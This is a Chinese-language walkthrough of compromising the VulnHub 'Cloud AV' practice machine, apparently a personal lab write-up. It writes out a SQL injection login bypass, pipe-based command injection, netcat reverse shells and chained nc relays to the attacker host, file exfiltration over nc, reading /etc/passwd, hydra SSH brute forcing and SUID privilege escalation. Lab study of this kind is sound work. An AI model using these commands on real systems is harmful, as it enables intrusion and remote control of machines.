靶机地址:
BoredHackerBlog: Cloud AV ~ VulnHub
靶 机 ip:192.168.0.156
ka li ip:192.168.0.102
内容简介:
这是本系列的第02次打靶,我选择了一个低难度级别的靶机。虽说难度级别为低,但是从还原整个渗透过程的角度来看,这个靶机非常全面。在这次打靶过程中,我们将使用到以下攻击手段:
端口扫描
WEB侦查
SQL注入
命令注入
密码爆破
代码审计
NC串联
本地提权
nmap -p- 192.168.0.156 全端口扫描 nmap -p22,8080 -sV 192.168.0.156 端口版本扫描
访问http://192.168.0.156:8080 使用一个邀请码登录到云防服务器进行查杀 攻击思路:尝试利用程序再服务端代码上的逻辑漏洞来通过sql注入等方式来绕过身份认证 通过蛮力暴力破解直接破解密码
使用bp抓包,输入特殊字符,是否存在代码的注入漏洞 抓包发送给Intruder,字典填入特殊字符 查看报错发现 select * from code where password="' + password + '"'转义 第一个和第二个双引号闭合,导致第三个双引号无法正常闭合,导致错误 select * from code where password=""; + " + "; 添加or 1=1无论什么时候等成立的判断条件验证是否可以绕过验证 --+ sql语句注释符,注释符后面不会被执行,防止第三个双引号无法正常闭合的情况 select * from code where password=""; + "or 1=1--+ + ";
浏览器输入 "or 1=1-- ,放包两次,成功攻击,进入云防病毒后台 把文件放入服务器中(提交数据),服务器会调用一个杀毒软件。比如avscan,相当于查看数据时在服务端运行一个程序来对数据进行杀毒 | 可以用来连接多条命令(可能存在命令输入漏洞) avscan hello | ls/id------>提交hello这个数据到服务端,服务端先用hell这个文件名调用服务端的杀毒软件,开启一个程序,对hello进行扫描,扫描完成后结果会通过管道传输给ls,然后ls命令查看当前hello目录的一个目录列表,使用id命令探测这个位置是否存在一个命令注入漏洞 hello | id 注入反弹shell代码 hello | which nc 查看是否存在nc hello | nc 192.168.0.102 4444 -e /bin/sh 使用-e参数进行反弹 反弹失败,可能服务器nc版本没有 -e参数 hello | nc 192.168.0.102 4444 /bin/sh 反弹成功
nc串联 hello需要执行的文件名通过管道符执行反弹命令到 /bin/sh进行解析反弹给kali攻击机然后再通过管道将前面连接的结果发送给后面的监听端口 hello | nc 192.168.0.102 3333 | /bin/sh | nc 192.168.0.102 4444
ls -la 查看文件 cat app.py 查看app.py文件 ls----->发现database.sql文件, .sql文件时数据库用来导入数据的数据库文件 file database.sql 查看文件格式 使用sqlite跑database.sql 没有成功 把database.sql文件下载下来放到kali运行
nc -nvlp 5555 > db.sql 监听5555端口,把接收到的文件传输到db.sql nc 192.168.215.6 5555 < database.sql通过重定向把database.sql文件放到nc传输通道 sqlite3 进入到sqlite下 .open db.sql 打开传输过来的db.sql文件 .database 查看数据库 .dump 查看文件
cat /etc/passwd 查看靶机存在的用户账号 cat /etc/passwd | grep /bin/bash 选出可以通过shell登陆的用户账户 vi user.txt vi passwd.txt hydra -L user.txt -P passwd.txt ssh://192.168.215.11 使用hydra爆破未果
ls samples ls templates pwd cd .. ls -l
执行update_cloudav文件可默认继承,获得root属组权限 suid本地提权,内核漏洞提权----------->nc 反弹shell 查看c语言文件源代码,了解如何调用系统指令,如何跟系统进行交互 cat update_cloudav.c
./update_cloudav a 失败 ./update_cloudav "a |nc 192.168.215.6 5555 | /bin/bash | nc 192.168.215.6 6666" ./update_cloudav ""作用:包括的里面都是参数 id